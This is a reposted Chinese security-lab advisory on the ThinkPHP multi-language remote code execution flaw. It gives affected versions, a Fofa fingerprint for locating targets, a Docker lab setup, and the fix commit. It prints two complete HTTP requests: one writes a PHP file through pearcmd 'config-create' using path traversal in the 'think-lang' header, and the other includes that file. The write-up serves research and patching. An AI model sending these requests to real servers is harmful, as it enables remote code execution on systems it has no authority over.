Thinkphp 多语言 RCE
影响范围
Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x
Fofa指纹
header="think_lang"
漏洞描述
如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
攻击条件
开启多语言功能,以thinkphp6为例
https://www.kancloud.cn/manual/thinkphp6_0/1037637
app/middleware.php :
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// thinkmiddlewareCheckRequestCache::class,
// 多语言加载
thinkmiddlewareLoadLangPack::class,
// Session初始化
// thinkmiddlewareSessionInit::class
];
测试环境搭建
测试thinkphp 6.0.12
https://github.com/top-think/think
root@ubuntu:/var/www/
root@ubuntu:/var/www/
root@ubuntu:/var/www/think_git
更改 composer.json ,安装 v6.0.12 :
"require": {
"php": ">=7.2.5",
"topthink/framework": "6.0.12",
"topthink/think-orm": "^2.0"
},
安装
root@ubuntu:/var/www/think_git
打开多语言功能
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// thinkmiddlewareCheckRequestCache::class,
// 多语言加载
thinkmiddlewareLoadLangPack::class,
// Session初始化
// thinkmiddlewareSessionInit::class
];
启动 docker compose
version: "3.3"
services:
web:
image: php:7.4-apache
ports:
- "8888:80"
volumes:
- /var/www/think_git:/var/www/html
漏洞利用
https://vulfocus.cn/#/dashboard
GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 123.58.224.8:30047
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
think-lang:../../../../../../../../usr/local/lib/php/pearcmd
Connection: close
Cookie: think_lang=zh-cn
Upgrade-Insecure-Requests: 1
GET /public/index.php HTTP/1.1
Host: 123.58.224.8:30047
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
think-lang:../../../../../../../../tmp/hello
Connection: close
Cookie: think_lang=zh-cn
Upgrade-Insecure-Requests: 1
修复漏洞
官方已完成修复:
https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
长风实验室发布、转载的文章中所涉及的技术、思路和工具,仅供以网络安全为目的的学习交流使用,不得用作它途。部分文章来源于网络,如有侵权请联系删除。
END
推荐
阅读
点赞在看
扫码关注|更多好玩
长风实验室 ·
原文始发于微信公众号(长风实验室):最新漏洞:Thinkphp 多语言 RCE
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论